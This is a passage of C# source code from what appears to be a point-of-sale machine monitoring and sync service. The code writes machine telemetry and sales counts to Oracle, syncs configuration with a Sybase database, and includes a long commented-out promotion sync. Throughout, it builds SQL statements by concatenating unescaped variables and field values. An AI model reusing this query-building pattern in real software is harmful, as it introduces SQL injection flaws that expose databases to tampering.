CONNECT_DATE = TO_DATE('{conndate}','YYYY/MM/DD HH24:MI:SS'), CONNECT_IP = '{connect_ip}',CURRENT_SELLAMOUNT = NULL, CURRENT_SELLCOUNT = NULL,CURRENT_TICKETCOUNT = NULL, CURRENT_GOODSCOUNT = {commcount},CURRENT_PERSON = '{workname}', SELL_CONTENT = '{connectdate}|',VERSION_NUM = '{brandnum}', CONFIG_CONTENT = '{_strconfig}',STATEFEEDBACK_DESC = '{_strDesc}' WHERE MACHINE_MACADDRESS='{_mac}' AND SERVERPARTCODE = '{SERVERPARTCODE}' AND SHOPCODE = '{SHOPCODE}' AND MACHINENAME = '{machinename}' AND MACHINECODE = '{MACHINECODE}'"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } else { sqlSave = $@"UPDATE {dbname}.T_STATEFEEDBACK SET CONNECT_DATE = TO_DATE('{conndate}','YYYY/MM/DD HH24:MI:SS'), CONNECT_IP = '{connect_ip}',CURRENT_SELLAMOUNT = {sum}, CURRENT_SELLCOUNT = {sumsellcount},CURRENT_TICKETCOUNT = {count}, CURRENT_GOODSCOUNT = {commcount},CURRENT_PERSON = '{workname}', SELL_CONTENT = '{GetLastTrade()}|{GetLastSellData()}',VERSION_NUM = '{brandnum}', CONFIG_CONTENT = '{_strconfig}',STATEFEEDBACK_DESC = '{_strDesc}' WHERE MACHINE_MACADDRESS='{_mac}' AND SERVERPARTCODE = '{SERVERPARTCODE}' AND SHOPCODE = '{SHOPCODE}' AND MACHINENAME = '{machinename}' AND MACHINECODE = '{MACHINECODE}'"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } } else { sqlSave = $@"INSERT INTO {dbname}.T_STATEFEEDBACK (STATEFEEDBACK_ID,CONNECT_DATE,SERVERPARTCODE, SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,CONNECT_IP,CURRENT_SELLAMOUNT, CURRENT_SELLCOUNT,CURRENT_TICKETCOUNT,CURRENT_GOODSCOUNT,CURRENT_PERSON,SELL_CONTENT, VERSION_NUM,CONFIG_CONTENT,STATEFEEDBACK_DESC) VALUES (1,TO_DATE('{conndate}','YYYY/MM/DD HH24:MI:SS'),'{SERVERPARTCODE}','{SHOPCODE}','{MACHINECODE}', '{machinename}','{_mac}','{connect_ip}',{sum},{sumsellcount},{count},{commcount},'{workname}', '{GetLastTrade()}|{GetLastSellData()}','{brandnum}','{_strconfig}','{_strDesc}')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } #region T_BASEINFOFEEDBACK string _Goodsdate = "", _Workernumdate = "", _Hotkeysetdate = ""; string _shopid = ""; string selsql = "SELECT SERVERPARTSHOP_ID FROM T_SHOPMESSAGE " + "WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "'"; DataTable _Table = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0]; if (_Table.Rows.Count > 0) { _shopid = _Table.Rows[0]["SERVERPARTSHOP_ID"].ToString(); //获取商品版本号 selsql = "SELECT MAX(DOWNLOADDATE) FROM T_COMMODITYEX WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SERVERPARTSHOP_ID = (SELECT SERVERPARTSHOP_ID FROM T_SHOPMESSAGE " + "WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "')"; _Goodsdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0].Rows[0][0].ToString(); selsql = "SELECT 1 FROM " + dbname + ".T_BASEINFOFEEDBACK WHERE MACHINE_MACADDRESS = '" + _mac + "' AND UPPER(TABLE_NAME) = UPPER('T_COMMODITY')"; com = new OracleCommand(selsql, conn); if (!com.ExecuteReader().HasRows) { sqlSave = "INSERT INTO " + dbname + ".T_BASEINFOFEEDBACK (BASEINFOFEEDBACK_ID,SERVERPART_CODE," + "SERVERPARTSHOP_ID,SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,MACHINE_IP," + "MACHINE_STARTDATE,MACHINE_ENDDATE,TABLE_NAME) VALUES(" + dbname + ".SEQ_BASEINFOFEEDBACK.NEXTVAL,'" + _SERVERPARTCODE + "'," + _shopid + ",'" + SHOPCODE + "','" + MACHINECODE + "','" + machinename + "','" + _mac + "','" + connect_ip + "',TO_DATE('" + _Goodsdate + "','YYYY/MM/DD HH24:MI:SS'),TO_DATE('" + DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS'),'T_COMMODITY')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } else { sqlSave = "UPDATE " + dbname + ".T_BASEINFOFEEDBACK SET SERVERPART_CODE = '" + SERVERPARTCODE + "',SERVERPARTSHOP_ID = " + _shopid + ",SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE + "',MACHINENAME = '" + machinename + "',MACHINE_IP = '" + connect_ip + "',MACHINE_STARTDATE = TO_DATE('" + _Goodsdate + "','YYYY/MM/DD HH24:MI:SS'),MACHINE_ENDDATE = TO_DATE('" + DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS') WHERE MACHINE_MACADDRESS = '" + _mac + "' AND UPPER(TABLE_NAME) = UPPER('T_COMMODITY')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } //获取收银工号版本号 selsql = "SELECT MAX(DOWNLOADDATE) FROM T_SELLWORKER WHERE SERVERPARTCODE = '" + _SERVERPARTCODE + "'"; _Workernumdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0].Rows[0][0].ToString(); selsql = "SELECT 1 FROM " + dbname + ".T_BASEINFOFEEDBACK WHERE MACHINE_MACADDRESS = '" + _mac + "' AND UPPER(TABLE_NAME) = UPPER('T_CASHWORKER')"; com = new OracleCommand(selsql, conn); if (!com.ExecuteReader().HasRows) { sqlSave = "INSERT INTO " + dbname + ".T_BASEINFOFEEDBACK (BASEINFOFEEDBACK_ID,SERVERPART_CODE," + "SERVERPARTSHOP_ID,SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,MACHINE_IP," + "MACHINE_STARTDATE,MACHINE_ENDDATE,TABLE_NAME) VALUES(" + dbname + ".SEQ_BASEINFOFEEDBACK.NEXTVAL,'" + _SERVERPARTCODE + "'," + _shopid + ",'" + SHOPCODE + "','" + MACHINECODE + "','" + machinename + "','" + _mac + "','" + connect_ip + "',TO_DATE('" + _Workernumdate + "','YYYY/MM/DD HH24:MI:SS'),TO_DATE('" + DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS'),'T_CASHWORKER')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } else { sqlSave = "UPDATE " + dbname + ".T_BASEINFOFEEDBACK SET SERVERPART_CODE = '" + SERVERPARTCODE + "',SERVERPARTSHOP_ID = " + _shopid + ",SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE + "',MACHINENAME = '" + machinename + "',MACHINE_IP = '" + connect_ip + "',MACHINE_STARTDATE = TO_DATE('" + _Workernumdate + "','YYYY/MM/DD HH24:MI:SS'),MACHINE_ENDDATE = TO_DATE('" + DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS') WHERE MACHINE_MACADDRESS = '" + _mac + "' AND UPPER(TABLE_NAME) = UPPER('T_CASHWORKER')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } //获取商品快捷键版本号 selsql = "SELECT MAX(DOWNLOADDATE) FROM T_HOTKEYSET WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND BUSINESSTYPE = (SELECT BUSINESSTYPE FROM T_SHOPMESSAGE " + "WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "')"; _Hotkeysetdate = ESSupport.Lib.SyBaseHelper.QueryOdbc(selsql).Tables[0].Rows[0][0].ToString(); selsql = "SELECT 1 FROM " + dbname + ".T_BASEINFOFEEDBACK WHERE MACHINE_MACADDRESS = '" + _mac + "' AND UPPER(TABLE_NAME) = UPPER('T_HOTKEYSET')"; com = new OracleCommand(selsql, conn); if (!com.ExecuteReader().HasRows) { sqlSave = "INSERT INTO " + dbname + ".T_BASEINFOFEEDBACK (BASEINFOFEEDBACK_ID,SERVERPART_CODE," + "SERVERPARTSHOP_ID,SHOPCODE,MACHINECODE,MACHINENAME,MACHINE_MACADDRESS,MACHINE_IP," + "MACHINE_STARTDATE,MACHINE_ENDDATE,TABLE_NAME) VALUES(" + dbname + ".SEQ_BASEINFOFEEDBACK.NEXTVAL,'" + _SERVERPARTCODE + "'," + _shopid + ",'" + SHOPCODE + "','" + MACHINECODE + "','" + machinename + "','" + _mac + "','" + connect_ip + "',TO_DATE('" + _Hotkeysetdate + "','YYYY/MM/DD HH24:MI:SS'),TO_DATE('" + DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS'),'T_HOTKEYSET')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } else { sqlSave = "UPDATE " + dbname + ".T_BASEINFOFEEDBACK SET SERVERPART_CODE = '" + SERVERPARTCODE + "',SERVERPARTSHOP_ID = " + _shopid + ",SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE + "',MACHINENAME = '" + machinename + "',MACHINE_IP = '" + connect_ip + "',MACHINE_STARTDATE = TO_DATE('" + _Hotkeysetdate + "','YYYY/MM/DD HH24:MI:SS'),MACHINE_ENDDATE = TO_DATE('" + DateTime.Now.ToString() + "','YYYY/MM/DD HH24:MI:SS') WHERE MACHINE_MACADDRESS = '" + _mac + "' AND UPPER(TABLE_NAME) = UPPER('T_HOTKEYSET')"; OracleCommand ComSave = new OracleCommand(sqlSave, conn); ComSave.ExecuteNonQuery(); } } #endregion } catch (Exception ex) { LogHelper.WriteServiceLog(ex.Message + "\r\n" + sqlSave); } } //conany.Close(); conn.Close(); } catch (Exception ex) { //conany.Close(); conn.Close(); LogHelper.WriteServiceLog("CONNECTPINT:" + ex.Message + "\r\n" + SqlString); } //conn.Dispose(); if (_mac != string.Empty) { string sqlsele = "select * from " + dbname + ".T_MACHINEPOINT where MACHINE_MACADDRESS='" + _mac + "' and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinename = '" + machinename + "'"; OracleCommand myORACCommand = conn.CreateCommand(); lblTime.Text = DateTime.Now.ToString(); try { conn.Open(); OracleCommand ocmsele = new OracleCommand(sqlsele, conn); OracleDataReader consele = ocmsele.ExecuteReader(); if (consele.HasRows) { string myoracle = "UPDATE " + dbname + ".T_MACHINEPOINT SET MACHINE_IP='" + lblIPAdress4.Text + "',MACHINE_CPU='" + lblCPU.Text + "',MACHINE_CPUTEMP='" + CpuTemp.Text + "',MACHINE_MEMORY='" + lblSNC.Text + "',MACHINE_DISK='" + lblHardDiskInfo.Text + "',POINT_DATE=to_date('" + conndate + "','yyyy-MM-dd hh24:mi:ss'),MACHINE_PROCESS='" + lblProcess.Text + "' where MACHINE_MACADDRESS='" + _mac + "' and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinename = '" + machinename + "'"; myORACCommand.CommandText = myoracle; myORACCommand.ExecuteNonQuery(); } else { string myoracle = "INSERT INTO " + dbname + ".T_MACHINEPOINT VALUES (" + dbname + ".SEQ_MACHINEPOINT.Nextval,'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + _mac + "','" + lblComPName.Text + "','" + lblIPAdress4.Text + "','" + lblCPU.Text + "','" + CpuTemp.Text + "','" + lblSNC.Text + "','" + lblHardDiskInfo.Text + "',to_date('" + conndate + "','yyyy-MM-dd hh24:mi:ss'),'" + lblProcess.Text + "',1)"; myORACCommand.CommandText = myoracle; myORACCommand.ExecuteNonQuery(); } conn.Close(); //conn.Dispose(); } catch (Exception ex) { LogHelper.WriteServiceLog(ex.Message + "\r\n" + SqlString); } } //CPU使用率,保留一位小数,通过WMI try { PerformanceCounter pc = new PerformanceCounter("Processor", "% Processor Time", "_Total"); float cpuLoad = pc.NextValue(); double j = Convert.ToDouble(cpuLoad); lblCPU.Text = j.ToString("0.00") + "%".ToString(); } catch { lblCPU.Text = "0%"; } lblTime.Text = DateTime.Now.ToString(); //内存自动刷新 ManagementClass mc = new ManagementClass("Win32_OperatingSystem"); ManagementObjectCollection moc = mc.GetInstances(); foreach (ManagementObject mo in moc) { if (mo["TotalVisibleMemorySize"] != null) { double i = double.Parse(mo["TotalVisibleMemorySize"].ToString()); double x = i / 1000 / 1000; string g = Convert.ToDouble(x).ToString("0.00") + "G"; lblZNC.Text = g.ToString(); } if (mo["FreePhysicalMemory"] != null) { double availablebytes = double.Parse(mo["FreePhysicalMemory"].ToString()); double x = availablebytes / 1024 / 1024; string g = Convert.ToDouble(x).ToString("0.0") + "G"; lblSNC.Text = g.ToString(); } } try { //CPU温度 //CpuTemp.Text = CHardwareMonitor.GetCPUTemperature().ToString(); double stemp = CHardwareMonitor.GetCPUTemperature(); CpuTemp.Text = stemp + "°C"; // conn.Open(); // if (stemp > 60) // { // string myoracle = "INSERT INTO " + dbname + ".T_MACHINEPOINT VALUES (" + dbname + ".SEQ_MACHINEPOINT.Nextval,'" // + SERVERPARTCODE + "','" + SHOPCODE + "','" // + _mac + "','" + lblComPName.Text + "','" + lblIPAdress4.Text + "','" // + lblCPU.Text + "','" + CpuTemp.Text + "','" + lblSNC.Text + "','" + lblHardDiskInfo.Text // + "',to_date('" + conndate + "','yyyy-MM-dd hh24:mi:ss'),'" + lblProcess.Text + "',0)"; // myORACCommand.CommandText = myoracle; // myORACCommand.ExecuteNonQuery(); // } // else // { // string myoracle = "update " + dbname + ".T_MACHINEPOINT set MACHINEPOINT_ID=" + dbname + ".SEQ_MACHINEPOINT.Nextval,MACHINE_MACADDRESS='" // + _mac + "',MACHINENAME='" + lblComPName.Text + "',MACHINE_IP='" + lblIPAdress4.Text + "',MACHINE_CPU='" + lblCPU.Text + // "',MACHINE_CPUTEMP='" + CpuTemp.Text + "',MACHINE_MEMORY='" + lblSNC.Text + "',MACHINE_DISK='" + lblHardDiskInfo.Text + "',POINT_DATE=to_date('" + conndate + // "','yyyy-MM-dd hh24:mi:ss'),MACHINE_PROCESS='" + lblProcess.Text + "' where MACHINE_MACADDRESS = '" + _mac + "'"; // myORACCommand.CommandText = myoracle; // myORACCommand.ExecuteNonQuery(); // } // conn.Close(); // //conn.Dispose(); // //系统时间 } catch (Exception ex) { LogHelper.WriteServiceLog("温度:" + ex.Message); } if (_mac != string.Empty) { #region 下载配置信息 //string _cofigsql = "select * from " + dbname + ".t_configuration where macaddress = '" + _mac + "' and lower(configuration_name) not in ('server_ip','service_port','service_port2','service_port3','service_port4','service_port5','mobilepayoperators')"; try { if (_OracleHelper == null) { _OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport, _QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass); } bool isReplaceColumnName = false; try { if (_OracleHelper.ExcuteSqlGetDataSet( @"SELECT 1 FROM ALL_TAB_COLUMNS WHERE OWNER = 'HIGHWAY_EXCHANGE' AND TABLE_NAME = 'T_SHOPMESSAGE' AND COLUMN_NAME = 'SERVERPART_CODE'").Tables[0].Rows.Count > 0) { isReplaceColumnName = true; } } catch { } DataTable _DataTable = null; if (isReplaceColumnName) { _DataTable = _OracleHelper.ExcuteSqlGetDataSet( $@"SELECT A.BUSINESSCONFIG_ID AS CONFIGURATION_ID,A.CONFIGURATION_DATE, A.SERVERPARTCODE,B.SHOPCODE,'' AS MACHINECODE, '' AS MACADDRESS,A.CONFIGURATION_NAME, A.CONFIGURATION_VALUES,NULL AS CONFIGURATION_DESC,NULL AS FLAG FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A, HIGHWAY_EXCHANGE.T_SHOPMESSAGE B WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND A.SERVERPARTCODE = B.SERVERPART_CODE AND B.SERVERPART_CODE = '{SERVERPARTCODE}' AND B.SHOPCODE = {SHOPCODE} UNION ALL SELECT C.CONFIGURATION_ID,C.CONFIGURATION_DATE,C.SERVERPARTCODE, C.SHOPCODE,C.MACHINECODE,C.MACADDRESS,C.CONFIGURATION_NAME, C.CONFIGURATION_VALUES,C.CONFIGURATION_DESC,C.FLAG FROM HIGHWAY_EXCHANGE.T_CONFIGURATION C WHERE C.MACADDRESS = '{_mac}' AND NOT EXISTS (SELECT 1 FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A, HIGHWAY_EXCHANGE.T_SHOPMESSAGE B WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND UPPER(A.CONFIGURATION_NAME) = UPPER(C.CONFIGURATION_NAME) AND B.SERVERPART_CODE = '{SERVERPARTCODE}' AND B.SHOPCODE = '{SHOPCODE}')").Tables[0]; } else { _DataTable = _OracleHelper.ExcuteSqlGetDataSet( $@"SELECT A.BUSINESSCONFIG_ID AS CONFIGURATION_ID,A.CONFIGURATION_DATE, A.SERVERPARTCODE,B.SHOPCODE,'' AS MACHINECODE, '' AS MACADDRESS,A.CONFIGURATION_NAME, A.CONFIGURATION_VALUES,NULL AS CONFIGURATION_DESC,NULL AS FLAG FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A, HIGHWAY_EXCHANGE.T_SHOPMESSAGE B WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND A.SERVERPARTCODE = B.SERVERPARTCODE AND B.SERVERPARTCODE = '{SERVERPARTCODE}' AND B.SHOPCODE = '{SHOPCODE}' UNION ALL SELECT C.CONFIGURATION_ID,C.CONFIGURATION_DATE,C.SERVERPARTCODE, C.SHOPCODE,C.MACHINECODE,C.MACADDRESS,C.CONFIGURATION_NAME, C.CONFIGURATION_VALUES,C.CONFIGURATION_DESC,C.FLAG FROM HIGHWAY_EXCHANGE.T_CONFIGURATION C WHERE C.MACADDRESS = '{_mac}' AND NOT EXISTS (SELECT 1 FROM HIGHWAY_EXCHANGE.T_BUSINESSCONFIG A, HIGHWAY_EXCHANGE.T_SHOPMESSAGE B WHERE A.BUSINESSTYPE = B.BUSINESSTYPE AND UPPER(A.CONFIGURATION_NAME) = UPPER(C.CONFIGURATION_NAME) AND B.SERVERPARTCODE = '{SERVERPARTCODE}' AND B.SHOPCODE = '{SHOPCODE}')").Tables[0]; } ISConnect = true; if (ISConnect) { if (_DataTable.Rows.Count > 0) { foreach (DataRow _DataRow in _DataTable.Rows) { if (!"'server_ip','service_port','service_port2','service_port3','service_port4','service_port5','mobilepayoperators'".Contains(_DataRow["configuration_name"].ToString().ToLower())) { string anysql = "select * from dba.t_configuration where configuration_name = '" + _DataRow["configuration_name"].ToString() + "'"; if (Lib.SyBaseHelper.QueryOdbc(anysql).Tables[0].Rows.Count > 0) { string _sqlstr = "update dba.t_configuration set configuration_values = '" + _DataRow["configuration_values"].ToString() + "' where configuration_name = '" + _DataRow["configuration_name"].ToString() + "'"; //OdbcCommand updatecom = new OdbcCommand(_sqlstr, conany); Lib.SyBaseHelper.ExecuteSqlTran(_sqlstr); } else { string _insrtstr = "insert into dba.t_configuration(configuration_id,configuration_date,serverpartcode," + "shopcode,machinecode,macaddress,configuration_name,configuration_values)values('" + _DataRow["configuration_id"].ToString() + "','" + _DataRow["configuration_date"].ToString() + "','" + _DataRow["serverpartcode"].ToString() + "','" + _DataRow["shopcode"].ToString() + "','" + _DataRow["machinecode"].ToString() + "','" + _DataRow["macaddress"].ToString() + "','" + _DataRow["configuration_name"].ToString() + "','" + _DataRow["configuration_values"].ToString() + "')"; Lib.SyBaseHelper.ExecuteSqlTran(_insrtstr); } } } } } //conn.Dispose(); } catch (Exception ex) { //conn.Dispose(); LogHelper.WriteServiceLog("t_configuration:" + ex.Message); } #endregion #region 结账上传记录 try { if (DateTime.TryParse(_OracleHelper.ExcuteSqlGetDataSet( "SELECT MAX(ENDACCOUNT_DATE) AS ENDACCOUNT_DATE " + "FROM " + dbname + ".T_ENDACCOUNT " + "WHERE SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE + "'AND ENDACCOUNT_DATE < SYSDATE AND ENDACCOUNT_DATE IS NOT NULL" ).Tables[0].Rows[0]["ENDACCOUNT_DATE"].ToString(), out DateTime _UpEndDate)) { UpdateConfigUration("EndAccount", _UpEndDate.ToString()); } } catch (Exception ex) { LogHelper.WriteServiceLog("结账上传记录:" + ex.Message); } #endregion #region 单品上传记录 try { string _cofigsql = "select max(distinct(a.enddate)) as endaccount_date from " + dbname + ".t_commoditysale a," + dbname + ".t_personsell b" + " where a.enddate = b.enddate and b.serverpartcode = '" + SERVERPARTCODE + "' and b.shopcode = '" + SHOPCODE + "' and b.machinecode = '" + MACHINECODE + "'and b.enddate < sysdate and b.enddate is not null"; conn.Open(); OracleCommand cmd = new OracleCommand(_cofigsql, conn); OracleDataReader dr = cmd.ExecuteReader(); if (dr.HasRows) { dr.Read(); UpdateConfigUration("CommoditySale", dr["endaccount_date"].ToString()); } conn.Close(); } catch (Exception ex) { //conany.Close(); conn.Close(); LogHelper.WriteServiceLog("单品上传记录:" + ex.Message); } #endregion #region 交班上传记录 try { string _cofigsql = "select max(enddate) as endaccount_date from " + dbname + ". t_personsell " + " where serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "' and enddate < sysdate"; conn.Open(); OracleCommand cmd = new OracleCommand(_cofigsql, conn); OracleDataReader dr = cmd.ExecuteReader(); if (dr.HasRows) { dr.Read(); UpdateConfigUration("Personsell", dr["endaccount_date"].ToString()); } conn.Close(); } catch (Exception ex) { //conany.Close(); conn.Close(); LogHelper.WriteServiceLog("交班上传记录:" + ex.Message); } #endregion #region 移动支付上传记录 try { string _cofigsql = "select max(mobilepay_date) as endaccount_date from " + dbname + ". t_mobile_pay " + " where serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "' and mobilepay_date < sysdate"; conn.Open(); OracleCommand cmd = new OracleCommand(_cofigsql, conn); OracleDataReader dr = cmd.ExecuteReader(); if (dr.HasRows) { dr.Read(); UpdateConfigUration("MobilePay_Update", dr["endaccount_date"].ToString()); } conn.Close(); } catch (Exception ex) { //conany.Close(); conn.Close(); LogHelper.WriteServiceLog("移动支付上传记录:" + ex.Message); } #endregion #region 本地mac记录 try { UpdateConfigUration("macaddress", ESSupport.Lib.PCHelper.GetMacAddressByNetworkInformation()); } catch (Exception ex) { //conany.Close(); LogHelper.WriteServiceLog("mac记录:" + ex.Message); } } #endregion #region 同步促销信息 ////促销活动信息同步 //string salesStr = "SELECT * FROM " + dbname + ".T_SALESPROMOTE WHERE SERVERPARTCODE = '" + serverpartcode + "' AND SHOPCODE = '" + shopcode + "'"; //OracleCommand sales = new OracleCommand(salesStr, conn); //try //{ // conn.Open(); // ISConnect = true; // if (ISConnect) // { // OracleDataReader rd = sales.ExecuteReader(); // if (rd.HasRows) // { // while (rd.Read()) // { // string SALESPROMOTE_ID = rd["SALESPROMOTE_ID"].ToString(); // string SERVERPARTCODE = rd["SERVERPARTCODE"].ToString(); // string SHOPCODE = rd["SHOPCODE"].ToString(); // string SALESPROMOTE_STARTDATE = rd["SALESPROMOTE_STARTDATE"].ToString(); // string SALESPROMOTE_ENDDATE = rd["SALESPROMOTE_ENDDATE"].ToString(); // string SALESPROMOTE_TYPE = rd["SALESPROMOTE_TYPE"].ToString(); // string SALESPROMOTE_NAME = rd["SALESPROMOTE_NAME"].ToString(); // string THRESHOLD_AMOUNT = "0"; // if (!string.IsNullOrEmpty(rd["THRESHOLD_AMOUNT"].ToString())) // { // THRESHOLD_AMOUNT = rd["THRESHOLD_AMOUNT"].ToString(); // } // string DISCOUNT_RATE = "0"; // if (!string.IsNullOrEmpty(rd["DISCOUNT_RATE"].ToString())) // { // DISCOUNT_RATE = rd["DISCOUNT_RATE"].ToString(); // } // string SALESPROMOTE_VIP = rd["SALESPROMOTE_VIP"].ToString(); // string FLAG = rd["FLAG"].ToString(); // string SALESPROMOTE_DATE = rd["SALESPROMOTE_DATE"].ToString(); // string SALESPROMOTE_DESC = rd["SALESPROMOTE_DESC"].ToString(); // conany.Open(); // ISConnect = true; // if (ISConnect) // { // string sqlany = "SELECT * FROM DBA.T_SALESPROMOTE WHERE SALESPROMOTE_ID = " + SALESPROMOTE_ID; // OdbcCommand cmd = new OdbcCommand(sqlany, conany); // OdbcDataReader odbcrd = cmd.ExecuteReader(); // if (odbcrd.HasRows) // { // while (odbcrd.Read()) // { // if (!string.IsNullOrEmpty(rd["MACHINECODE"].ToString())) // { // if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString())) // { // string MACHINECODE = rd["MACHINECODE"].ToString(); // string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString(); // string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE + // "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE + "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE + // "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME + "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP + // "',FLAG = '" + FLAG + "',TICKET_PREFIX = '" + TICKET_PREFIX + "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';"; // OdbcCommand updateCMD = new OdbcCommand(updatesql, conany); // updateCMD.ExecuteNonQuery(); // } // else // { // string MACHINECODE = rd["MACHINECODE"].ToString(); // string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',MACHINECODE = '" + MACHINECODE + // "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE + "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE + // "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME + "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP + // "',FLAG = '" + FLAG + "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';"; // OdbcCommand updateCMD = new OdbcCommand(updatesql, conany); // updateCMD.ExecuteNonQuery(); // } // } // else // { // if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString())) // { // string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString(); // string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE + // "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE + "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME + // "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP + "',FLAG = '" + FLAG + // "',TICKET_PREFIX = '" + TICKET_PREFIX + "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';"; // OdbcCommand updateCMD = new OdbcCommand(updatesql, conany); // updateCMD.ExecuteNonQuery(); // } // else // { // string updatesql = "UPDATE DBA.T_SALESPROMOTE SET SERVERPARTCODE = '" + SERVERPARTCODE + "',SHOPCODE = '" + SHOPCODE + "',SALESPROMOTE_STARTDATE = '" + SALESPROMOTE_STARTDATE + // "',SALESPROMOTE_ENDDATE ='" + SALESPROMOTE_ENDDATE + "',SALESPROMOTE_TYPE = '" + SALESPROMOTE_TYPE + "',SALESPROMOTE_NAME = '" + SALESPROMOTE_NAME + // "',THRESHOLD_AMOUNT = '" + THRESHOLD_AMOUNT + "',DISCOUNT_RATE = '" + DISCOUNT_RATE + "',SALESPROMOTE_VIP = '" + SALESPROMOTE_VIP + "',FLAG = '" + FLAG + // "',SALESPROMOTE_DATE = '" + SALESPROMOTE_DATE + "' WHERE SALESPROMOTE_ID = '" + SALESPROMOTE_ID + "';"; // OdbcCommand updateCMD = new OdbcCommand(updatesql, conany); // updateCMD.ExecuteNonQuery(); // } // } // } // } // else // { // if (!string.IsNullOrEmpty(rd["MACHINECODE"].ToString())) // { // if (!string.IsNullOrEmpty(rd["TICKET_PREFIX"].ToString())) // { // string MACHINECODE = rd["MACHINECODE"].ToString(); // string TICKET_PREFIX = rd["TICKET_PREFIX"].ToString(); // string insertsql = "INSERT INTO DBA.T_SALESPROMOTE (SALESPROMOTE_ID,SERVERPARTCODE,SHOPCODE,MACHINECODE,SALESPROMOTE_STARTDATE," + // 